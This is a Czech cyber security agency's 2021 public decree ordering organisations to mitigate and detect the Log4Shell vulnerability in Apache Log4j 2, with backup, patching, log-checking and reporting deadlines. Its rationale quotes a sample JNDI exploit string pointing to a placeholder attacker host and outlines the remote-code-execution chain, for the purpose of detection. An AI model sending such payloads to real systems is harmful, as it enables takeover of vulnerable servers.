Národní úřad
pro kybernetickou
a informační bezpečnost

NÚKIB

National Cyber and Information Security Agency
Mučednická 1125/31
616 00 Brno – Žabovřesky
Company ID No. 05800226
Data mailbox ID: zzfnkp3

File number:
350 - 1388/2021
Reference No.
10997/2021-NÚKIB-E/350

Brno, 15 December 2021
Responsible:
Martin Švéda

PUBLIC DECREE

GENERAL MEASURE

The National Cyber and Information Security Agency, with its registered office at Brno, Mučednická 1125/31, postcode 616 00 (hereinafter referred to as the "Agency"), as the competent central administrative authority pursuant to Section 22(b) of Act No. 181/2014 Coll., on Cyber Security and on Amendments to Related Acts (Act on Cyber Security), as amended (hereinafter referred to as the "Act on Cyber Security"),

stipulates

pursuant to Section 13(3) of the Act on Cyber Security and in accordance with Section 15 of the Act on Cyber Security and Sections 171, 173 and 174 of Act No. 500/2004 Coll., the Code of Administrative Procedure, as amended, this **reactive measure to secure information systems or electronic communications networks and services against a cyber security incident. The reactive measure consists of the following actions, which the obliged parties under Section 3(c) to (f) of the Act on Cyber Security are obliged to perform within the stipulated deadline:**

1. **Create offline backups of assets that are critical to the functioning of the organization and check them for consistency. At the same time, check the availability and consistency of the last backups of these assets created before 1 December 2021.**

   This should be done immediately after the reactive measure has taken effect and with the highest priority.

2. **Take an inventory of the assets in the system and locate those assets that contain Apache Log4j 2 components in versions 2.0-2.14.1.**

   2.1. For assets that do not allow Apache Log4j 2 configuration changes or are not under the full control of the organization, contact the vendor or manufacturer of those assets or

seek a statement from those vendors on the vulnerability and implement or take into account their instructions.

2.2. For assets where configuration changes can be made to the Apache Log4j 2 component, follow steps 3 or 4 of this reactive measure.

This action must be taken immediately after this reactive measure has taken effect.

3. With the highest priority for assets accessible from the internet, take steps to mitigate the consequences of exploitation of the CVE-2021-44228 vulnerability for assets containing Apache Log4j 2 version 2.0-2.14.1.

3.1. For assets where the Apache Log4j 2 component can be accessed, upgrade Apache Log4j 2 to version 2.16 or higher, if possible.

3.2. In other cases, especially if updating is not possible, limit the vulnerable features of Apache Log4j 2 and ensure that the asset protection technologies (firewall, WAF, IPS, and others) update the signatures and detection rules for mitigating the CVE2021-44228 vulnerability, if the technology vendor provides them.

This should be done immediately after identifying the asset containing the Apache Log4j 2 component in versions 2.0-2.14.1.

4. If mitigation according to step 3 is not possible immediately, evaluate alternative solutions, in particular limiting outgoing communication initiated by the system to the internet or completely disconnecting the system from the network, in view of the criticality of the vulnerability, and implement these solutions as soon as possible.

The evaluation of alternative solutions in case of the inability to perform mitigation according to step 3 should be performed immediately after the identification of the asset containing the Apache Log4j 2 version 2.0-2.14.1 component.

5. For assets containing the Apache Log4j 2 component, check if the assets already have been compromised through the CVE-2021-44228 vulnerability. As part of the check, perform at least the following steps:

5.1. Check the logs generated by the vulnerable library - search for strings containing Java Naming and Directory Interface calls in the system logs generated by the Log4j component and in the firewall or WAF logs of this asset.

The log checks shall be carried out at the earliest for the period from 1 December 2021 until the effective date of this reactive measure and thereafter at regular reasonable intervals until the actions under points 2.1, 3 or 4 have been carried out.

5.2. Monitor system network traffic for anomalies, especially outbound communication to the internet via LDAP or RMI protocols, and outbound traffic initiated by the server, if it is nonstandard behaviour in the context of the server's purpose.

Monitoring must be carried out continuously until the actions under points 2.1, 3 or 4 have been carried out.

5.3. In the event of a positive finding under points 5.1 or 5.2, conduct a comprehensive audit of all relevant assets.

The individual activities under action 5 need to be initiated immediately.

6. Report to the Agency the current extent of public DNS records or public IP addresses, or notify the Agency that the previously reported records and addresses are current.

This must be done by 31 December 2021 at the latest.

This reactive measure as a whole, i.e. all the actions imposed therein, must be implemented in accordance with the deadlines set for each action, but no later than on 31 January 2022.

The authorities and persons parties to in Section 3(c) to (f) of the Act on Cyber Security are obliged to notify the Agency of the implementation of the reactive measure and its result without undue delay. **Notification of the implementation of this reactive measure shall therefore be made only after all actions have been implemented and without undue delay, but no later than by 7 February 2022.**

Authorities and parties referred to in Section 3(c) to (f) of the Act on Cyber Security who have already performed some of the above actions by the effective date of this reactive measure need not perform those specific actions again. The information on implementation of the individual actions and the manner in which they have been implemented shall be reported by those authorities and parties to the Agency in the context of the notification of the implementation of this reactive measure.

Authorities and parties who become obliged parties pursuant to Section 3(c) through (f) of the Act on Cyber Security after the effective date of this reactive measure, for which this reactive measure is relevant, must complete all of the above actions within one month of their designation or identification, and then notify the Agency of the outcome of their implementation without undue delay.

RATIONALE

In the event of a cyber security incident, report it immediately to the Government CERT via standard methods[1] or use the emergency line at +420 725 502 878.

1. The National Cyber and Information Security Agency, as the central state administrative authority pursuant to Section 2(16) of Act No. 2/1969 Coll., on the establishment of

[1]Summary information: https://www.nukib.cz/cs/kyberneticka-bezpecnost/vladni-cert/hlaseni-incidentu/

ministries and other central state administrative authorities of the Czech Republic, as amended, and pursuant to Section 22(b) of the Act on Cyber Security, has decided to issue this general measure for the purpose of securing information systems or electronic communications networks and services against a cyber security incident as set forth in the operative part of this general measure. This general measure is issued on the basis of the disclosure, on 9 December 2021, of information about a vulnerability in the Apache Log4j 2 library, identified as CVE-2021-44228[2] and referred to as "Log4Shell", occurring in the widely used Log4j component contained in a vast range of systems written in the Java programming language. The vulnerability affects a potentially large number of commercial and open-source systems that use Log4j versions 2.0-2.14.1 to log system events (i.e. logging). The vulnerability lies in the exploitable interpretation of logged events, where specific strings are interpreted as a command after being stored in the log. This vulnerability was rated 9.8 in the Common Vulnerability Scoring System[3] and subsequently reassessed to 10.0, with 10.0 being the maximum value that the vulnerability rating can reach. The following conditions are sufficient to exploit this vulnerability:

- the system is running software that uses the Log4j component in version 2.0-2.14.1 for logging, and at the same time
- the system is accessible via the network and allows the reception of text strings in any way via any protocol.

This information is registered in the file filed as Annex Ref. No. 10996/2021-NÚKIB-E/350.

2. **As a result of exploiting this vulnerability, a hacker can easily perform unauthorized activities, i.e. gain full control over the organization's system with minimal effort.** Currently, the Agency has registered a number of attempts to scan systems and actively exploit this vulnerability, and these activities have also been reported internationally and their occurrence is increasing at an exponential rate.[4]

3. For the above reasons and in view of the need to address the problematic situation not only with respect to a specific body or party or group of bodies and parties pursuant to the Act on Cyber Security, the Agency has proceeded to issue a general measure for an unspecified range of bodies or parties in accordance with the procedure under Section 13(3) of the Act on Cyber Security.

[2]available at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228, or https://nvd.nist.gov/vuln/detail/CVE-2021-44228
[3]available at https://www.first.org/cvss/
[4]available e.g. at https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/?fbclid=IwAR1ZGSFmyoqzurwIkCLUb1vfeO0DJbdUKb3fG9QgfFQFYa-QYeWHhPfv0iY

4. **Pursuant to Section 11(3)(b) of the Act on Cyber Security, this general measure requires all administrators and operators of information or communication systems of critical information infrastructure, important information systems or essential service information systems to implement the reactive measure referred to in the operative part of the measure.**

5. In the case of providers of electronic communications services, entities providing electronic communications networks and authorities or parties providing significant networks pursuant to the Act on Cyber Security, it applies that a general measure pursuant to Section 11(3)(a) of the Act on Cyber Security imposes an obligation on such parties to implement the reactive measure only in the event of a declared cyber threat or state of emergency. However, the state of emergency referred to in Section 11(3)(a) of the Act on Cyber Security refers only to a state of emergency declared in connection with a cyber emergency declared by the Director of the Agency pursuant to Section 21 of the Act on Cyber Security (i.e. it refers to a situation where a state of emergency is declared on the grounds that a threat to the security of information in information systems or the security of services or the security and integrity of electronic communications networks cannot be averted within the framework of a cyber threat), not to every state of emergency. Therefore, in the present situation, the obligation of parties pursuant to Section 3(a) and (b) of the Act to implement the reactive measure does not apply.

6. The reactive measure, as specified in the operative part of this general measure, comprises a set of actions necessary to secure information systems or electronic communications networks and services against a cyber security incident. Given the nature of the vulnerability, there is currently not enough specific information about a completely guaranteed and simple procedure to identify the vulnerability in the system or how to fix it. Since it is not even clear at this point how many systems are affected by the vulnerability and as it may not be possible to determine whether assets contain the Log4j component without information from the vendor or developers, the general actions in the statement are the only sufficiently specific steps.

7. Regarding action 1 - Backing up a potentially vulnerable asset is the most effective way to prevent data loss in the event of a ransomware attack, and although this activity is a normal part of the implementation of security measures under Decree No. 82/2018 Coll., on security measures, cybersecurity incidents, reactive measures, filing requirements in the field of cybersecurity and data disposal (Decree on Cyber Security), in this case, it is necessary to perform preventive offline backups of assets that are critical to the organisation. It is also necessary to check the availability and consistency of backups of these assets if these backups were created before 1 December 2021, i.e. before the vulnerability was disclosed. This procedure can go a long way towards ensuring that your backups are actually functional when you need to restore.

8. Regarding action 2 - Taking an inventory of system assets within the organization is necessary to identify components containing the vulnerability. Given the extensive use of the Log4j component, it is important to keep in mind that it can be used for a wide range of devices, including, for example, specialized equipment, network elements and other assets. For example, the continuously updated lists maintained by NSCS-NL or CISA can be used to find vendor statements on the CVE-2021-44228 vulnerability:

   - https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
   - https://github.com/cisagov/log4j-affected-db

   An active internal or external asset scan can also be performed to detect vulnerable systems. A number of tools have been developed and published by the security community for this purpose, **but the Agency notes that these tools have not been tested and their use is entirely at the discretion of the organisation**. Examples include the modules for the Nessus and BurpSuite testing tools, or the external scan by Huntress:

   - https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f
   - https://community.tenable.com/s/article/Plugins-associated-with-CVE-2021-44228-Log4Shell
   - https://log4shell.huntress.com/

9. Regarding action 3 - In case of full access to an asset that uses the Log4j component, a vulnerability patch is needed to prevent the attack. The patch can be implemented by:

   - updating to version 2.16 or higher, or
   - removing the vulnerable JndiLookup class from the path:
     zip -q -d log4j-core–*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

     if an update is not possible for justifiable reasons.

   Technical details of the vulnerability mitigation and application procedures can also be found on the official Apache Foundation website:

   https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228

10. Regarding action 4 - Since the vulnerability is associated with a high threat of unauthorized access, which may result in total system compromise or unavailability, it is necessary to consider all possible impacts of vulnerability exploitation. In the event that these impacts exceed an acceptable level of risk, consideration should be given to restricting outgoing connections to the internet.

11. Regarding action 5 - The vulnerability is triggered when an entry containing a Java-interpreted text string is sent to the Log4j log as a JNDI lookup, e.g. "${jndi:ldap://address-attacker:port/command}". Currently, a total of four methods have been identified as being used - jndi:ldap, jndi:ldaps, jndi:dns and jndi:rmi. **Finding these strings in the log of an application created by the Log4j component indicates an attempt to exploit the vulnerability, but a successfully executed command will not be logged.** It is therefore recommended to perform the check on a firewall or WAF that logs external incoming requests before processing them in the Log4j component. Potential successful exploitation of the vulnerability can be detected by comparing the firewall log and the logs created by Log4j and identifying records containing malicious strings that are missing from the Log4j log. **However, the Agency notes that due to the unlimited obfuscation methods, any search based on regular expressions may not be reliable and a negative result is not a guarantee**. For instance, given the current state of knowledge, one can find strings using the rules and formulas published by the analyst Florian Roth:

    https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

    Examples of strings used for attacks can be found e.g. at:

    https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

12. Regarding action 6 - The obligation to report to the Agency the current scope of public DNS records or public IP addresses is already a voluntary part of the reporting of contact data, sent by authorities and parties to the Agency pursuant to the Act on Cyber Security; however, under this reactive measure, this action is imposed on a mandatory basis, as it is basic information that is necessary for the Agency, respectively the government CERT, to properly perform its activities consisting of searching for and assessing the occurrence of vulnerabilities being addressed and assessing the related threats. For this reason, it is necessary to keep this information up to date. This information should be sent to the Agency, preferably directly to cert.incident@nukib.cz.

13. The detailed principle of the vulnerability and how it can be exploited to execute code remotely is as follows:

    - the system receives a request containing a string interpreted by the Java Naming and Directory Interface |jndi:ldap, jndi:ldaps, jdni:dns, or jndi:rmi", e.g. "${jndi:ldap://address-attacker:port/command}",
    - the application saves the request to the log,
    - the vulnerable function of the Log4j component causes the log string to be evaluated as a legitimate command and executed,
    - the server sends a request to the given hacker's address and receives malicious code prepared in the Java programming language as a response,

- the code is inserted into the running process to execute the commands.

14. Other suitable tools for mitigation and scanning may also be (with the current state of knowledge) e.g. the tools listed here:

    - https://github.com/NCSC-NL/log4shell/tree/main/mitigation

    - https://github.com/NCSC-NL/log4shell/tree/main/scanning

    Again, however, the Agency notes that these tools have not been tested and their use is entirely at the discretion of the organisation.

15. For further information, please follow the Agency's website (https://www.nukib.cz/), especially the Threats and Vulnerabilities Info Service https://www.nukib.cz/cs/infoservis/hrozby/.

16. Administrators and operators of an information or communication system of critical information infrastructure, an important information system or an information system of an essential service pursuant to the Act on Cyber Security are obliged to notify the Agency of the implementation of a reactive measure and its result without undue delay. The final deadline for notification of the implementation of this reactive measure and its outcome is 7 February 2022. If this reactive measure is implemented as a whole no later than 31 January 2022, a notification received by 7 February 2022 will be deemed to be a notification without undue delay. Pursuant to Section 13(4) of the Act on Cyber Security, the implementing legislation shall determine the requirements of the notification.

17. Pursuant to Section 33(2) of the Decree on Cyber Security, the authorities and parties concerned shall report the manner of implementing the reactive measure and its outcome in the form indicated on the website of the Agency. The form of notification is given here:

    https://www.nukib.cz/cs/kyberneticka-bezpecnost/regulace-a-kontrola/formulare/

18. The authorities and parties concerned shall notify the Agency of the implementation of the reactive measure even if they have already carried out the imposed actions before the effective date of the reactive measure, and also if the individual actions of the reactive measure are not relevant to their information systems and services and electronic communications networks (e.g. they demonstrably do not use systems containing the Log4j component subject to the reactive measure). In such a case, those authorities and parties shall notify the Agency of the reasons for not taking reactive action.

19. Pursuant to Section 33(1) of the Decree on Cyber Security, administrators and operators of information or communication systems of critical information infrastructure, important information systems or essential service information systems, as well as digital

service providers who have been ordered by the Agency to implement the reactive measure, are obliged to assess the expected impact of the reactive measure on the information and communication system and on the security measures in place, and to evaluate the possible negative effects and determine a method of rapid implementation of the reactive measure that minimises its possible negative effects. They are likewise obliged to define a timeframe for implementation of the reactive measure.

20. The Agency notes that authorities or persons who are obliged to implement security measures pursuant to the Act on Cyber Security shall take into account the measures pursuant to Section 11 of the Act on Cyber Security in the risk assessment and risk management plan in connection with risk management pursuant to Section 5(1)(h)(3) of the Act on Cyber Security. One of these measures is the reactive measure pursuant to Section 13(3) of the Act on Cyber Security.

21. The Agency further notes that in accordance with Section 4(4) of the Act on Cyber Security, the authorities and persons referred to in Section 3(c) to (f) of the Act on Cyber Security are obliged to take into account the requirements resulting from security measures when selecting a supplier for their information or communication system and to include these requirements in the contract they conclude with the supplier. For example, the contracting of vulnerability management with the given vendor is deemed to fulfil this obligation. Taking into account the requirements resulting from the security measures under the first sentence to the extent necessary to comply with the obligations under the Act on Cyber Security cannot be considered an unlawful restriction of competition or an unjustified barrier to competition.

22. If you have any technical questions or questions about the content of individual saved actions in connection with this reactive measure, please contact cert.incident@nukib.cz. For media enquiries, please contact the Agency's spokesperson at dotazy.media@nukib.cz. If you have any further questions, especially of a legal nature, regarding the reactive measure, please contact regulace@nukib.cz.

ADVICE

This general measure shall be delivered in accordance with the procedure under Section 25 of the Code of Administrative Procedure by public notice on the Agency's official notice board. Pursuant to Section 15(1) of the Act on Cyber Security, a general measure pursuant to Section 14 of the Act on Cyber Security comes into effect upon its posting on the Agency's official notice board. Section 172 of the Code of Administrative Procedure shall not apply. Pursuant to Section 15(2) of the Act on Cyber Security, comments may be submitted to a general measure issued pursuant to Section 14 within 30 days of its posting on the Agency's official notice board. On the basis of the comments submitted, the Agency may amend or cancel the general measure.

Karel Řehka
Director
Signed electronically

Posted on: .....

Removed on: .....